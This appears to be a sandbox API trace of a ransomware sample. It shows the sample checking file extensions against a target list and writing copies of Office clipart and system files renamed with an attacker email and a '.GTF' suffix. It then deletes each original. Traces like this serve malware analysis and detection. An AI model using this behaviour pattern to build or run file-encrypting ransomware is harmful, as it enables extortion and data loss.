	[0091.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0091.328] lstrlenW (lpString=".dbf") returned 4
	[0091.328] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0091.328] lstrlenW (lpString=".1cd") returned 4
	[0091.328] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0091.329] lstrlenW (lpString=".jpg") returned 4
	[0091.329] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0091.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0091.329] lstrlenW (lpString=".doc") returned 4
	[0091.329] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.329] lstrlenW (lpString=".docx") returned 5
	[0091.329] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0091.329] lstrlenW (lpString=".pdf") returned 4
	[0091.329] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.329] lstrlenW (lpString=".xls") returned 4
	[0091.329] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.329] lstrlenW (lpString=".xlsx") returned 5
	[0091.329] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0091.329] lstrlenW (lpString=".ppt") returned 4
	[0091.329] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0091.329] lstrlenW (lpString=".zip") returned 4
	[0091.329] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.329] lstrlenW (lpString=".rar") returned 4
	[0091.329] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.329] lstrlenW (lpString=".bz2") returned 4
	[0091.329] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.329] lstrlenW (lpString=".7z") returned 3
	[0091.329] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0091.329] lstrlenW (lpString=".dbf") returned 4
	[0091.329] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0091.329] lstrlenW (lpString=".1cd") returned 4
	[0091.329] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0091.329] lstrlenW (lpString=".jpg") returned 4
	[0091.329] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.330] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0091.330] lstrlenW (lpString="J0099176.WMF") returned 12
	[0091.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0091.330] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=2488) returned 1
	[0091.330] CloseHandle (hObject=0x2d0) returned 1
	[0091.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf")) returned 0x220
	[0091.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0091.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0091.330] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.330] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0091.331] GetLastError () returned 0x0
	[0091.331] ReadFile (in: hFile=0x2d0, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x9b8, lpOverlapped=0x0) returned 1
	[0091.332] WriteFile (in: hFile=0x35c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x9c0, lpOverlapped=0x0) returned 1
	[0091.333] ReadFile (in: hFile=0x2d0, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.333] WriteFile (in: hFile=0x35c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.334] SetEndOfFile (hFile=0x35c) returned 1
	[0091.334] CloseHandle (hObject=0x35c) returned 1
	[0091.334] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.334] SetEndOfFile (hFile=0x2d0) returned 1
	[0091.335] CloseHandle (hObject=0x2d0) returned 1
	[0091.335] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0091.335] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf")) returned 1
	[0091.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0091.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0091.335] lstrlenW (lpString=".doc") returned 4
	[0091.335] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.335] lstrlenW (lpString=".docx") returned 5
	[0091.335] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0091.335] lstrlenW (lpString=".pdf") returned 4
	[0091.335] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.335] lstrlenW (lpString=".xls") returned 4
	[0091.335] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.335] lstrlenW (lpString=".xlsx") returned 5
	[0091.335] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0091.335] lstrlenW (lpString=".ppt") returned 4
	[0091.335] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0091.335] lstrlenW (lpString=".zip") returned 4
	[0091.335] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.335] lstrlenW (lpString=".rar") returned 4
	[0091.335] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.336] lstrlenW (lpString=".bz2") returned 4
	[0091.336] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.336] lstrlenW (lpString=".7z") returned 3
	[0091.336] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0091.336] lstrlenW (lpString=".dbf") returned 4
	[0091.336] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0091.336] lstrlenW (lpString=".1cd") returned 4
	[0091.336] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0091.336] lstrlenW (lpString=".jpg") returned 4
	[0091.336] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0091.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0091.336] lstrlenW (lpString=".doc") returned 4
	[0091.336] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.336] lstrlenW (lpString=".docx") returned 5
	[0091.336] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0091.336] lstrlenW (lpString=".pdf") returned 4
	[0091.336] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.336] lstrlenW (lpString=".xls") returned 4
	[0091.336] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.336] lstrlenW (lpString=".xlsx") returned 5
	[0091.336] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0091.336] lstrlenW (lpString=".ppt") returned 4
	[0091.336] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0091.336] lstrlenW (lpString=".zip") returned 4
	[0091.336] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.336] lstrlenW (lpString=".rar") returned 4
	[0091.336] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.336] lstrlenW (lpString=".bz2") returned 4
	[0091.336] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.336] lstrlenW (lpString=".7z") returned 3
	[0091.336] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0091.337] lstrlenW (lpString=".dbf") returned 4
	[0091.337] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0091.337] lstrlenW (lpString=".1cd") returned 4
	[0091.337] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0091.337] lstrlenW (lpString=".jpg") returned 4
	[0091.337] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.337] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0091.337] lstrlenW (lpString="J0099177.WMF") returned 12
	[0091.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0091.337] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=5386) returned 1
	[0091.337] CloseHandle (hObject=0x2d0) returned 1
	[0091.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf")) returned 0x220
	[0091.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0091.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0091.338] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.338] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0091.338] GetLastError () returned 0x0
	[0091.338] ReadFile (in: hFile=0x2d0, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x150a, lpOverlapped=0x0) returned 1
	[0091.566] WriteFile (in: hFile=0x35c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x1510, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x1510, lpOverlapped=0x0) returned 1
	[0091.591] ReadFile (in: hFile=0x2d0, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.591] WriteFile (in: hFile=0x35c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.591] SetEndOfFile (hFile=0x35c) returned 1
	[0091.591] CloseHandle (hObject=0x35c) returned 1
	[0091.591] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.591] SetEndOfFile (hFile=0x2d0) returned 1
	[0091.592] CloseHandle (hObject=0x2d0) returned 1
	[0091.592] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0091.592] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf")) returned 1
	[0091.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0091.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0091.593] lstrlenW (lpString=".doc") returned 4
	[0091.593] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.593] lstrlenW (lpString=".docx") returned 5
	[0091.593] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0091.593] lstrlenW (lpString=".pdf") returned 4
	[0091.593] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.593] lstrlenW (lpString=".xls") returned 4
	[0091.593] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.593] lstrlenW (lpString=".xlsx") returned 5
	[0091.593] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0091.593] lstrlenW (lpString=".ppt") returned 4
	[0091.593] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0091.593] lstrlenW (lpString=".zip") returned 4
	[0091.593] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.593] lstrlenW (lpString=".rar") returned 4
	[0091.593] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.593] lstrlenW (lpString=".bz2") returned 4
	[0091.593] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.593] lstrlenW (lpString=".7z") returned 3
	[0091.593] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0091.593] lstrlenW (lpString=".dbf") returned 4
	[0091.593] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0091.593] lstrlenW (lpString=".1cd") returned 4
	[0091.593] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0091.594] lstrlenW (lpString=".jpg") returned 4
	[0091.594] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0091.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0091.594] lstrlenW (lpString=".doc") returned 4
	[0091.594] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.594] lstrlenW (lpString=".docx") returned 5
	[0091.594] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0091.594] lstrlenW (lpString=".pdf") returned 4
	[0091.594] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.594] lstrlenW (lpString=".xls") returned 4
	[0091.594] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.594] lstrlenW (lpString=".xlsx") returned 5
	[0091.594] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0091.594] lstrlenW (lpString=".ppt") returned 4
	[0091.594] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0091.594] lstrlenW (lpString=".zip") returned 4
	[0091.594] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.594] lstrlenW (lpString=".rar") returned 4
	[0091.594] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.594] lstrlenW (lpString=".bz2") returned 4
	[0091.594] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.594] lstrlenW (lpString=".7z") returned 3
	[0091.594] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0091.594] lstrlenW (lpString=".dbf") returned 4
	[0091.594] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0091.594] lstrlenW (lpString=".1cd") returned 4
	[0091.594] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0091.594] lstrlenW (lpString=".jpg") returned 4
	[0091.595] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.595] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0091.595] lstrlenW (lpString="J0099191.JPG") returned 12
	[0091.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0091.595] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=62367) returned 1
	[0091.595] CloseHandle (hObject=0x2d0) returned 1
	[0091.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg")) returned 0x220
	[0091.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0091.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0091.595] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.596] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0091.596] GetLastError () returned 0x0
	[0091.596] ReadFile (hFile=0x2d0, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0) 

Thread:
	id = 11
	os_tid = 0x11ac

	[0060.212] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10000) returned 0x7ce490
	[0060.213] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10000) returned 0x7de498
	[0060.213] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x77d298
	[0060.213] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x6) returned 0x7ad010
	[0060.213] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x77d0e8
	[0060.213] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x100000) returned 0x2fbb020
	[0060.216] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x77d1d8
	[0060.216] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x77d1d8, Size=0x20) returned 0x75ec50
	[0060.216] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x77d100
	[0060.216] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x77d100, Size=0x20) returned 0x75e908
	[0060.216] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x772d0000
	[0060.216] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30
	[0060.216] Wow64DisableWow64FsRedirection (in: OldValue=0x2adff50 | out: OldValue=0x2adff50*=0x0) returned 1
	[0060.216] lstrlenW (lpString="kernel32.dll") returned 12
	[0060.216] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x75ec50 | out: hHeap=0x720000) returned 1
	[0060.216] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0060.216] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x75e908 | out: hHeap=0x720000) returned 1
	[0060.216] Sleep (dwMilliseconds=0x64) 
	[0060.527] lstrcmpiW (lpString1=".ini", lpString2=".GTF") returned 1
	[0060.527] lstrlenW (lpString="GetCurrentRollback.ini") returned 22
	[0060.527] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0060.529] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=156) returned 1
	[0060.530] CloseHandle (hObject=0x2c0) returned 1
	[0060.530] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini")) returned 0x20
	[0060.530] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0060.530] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
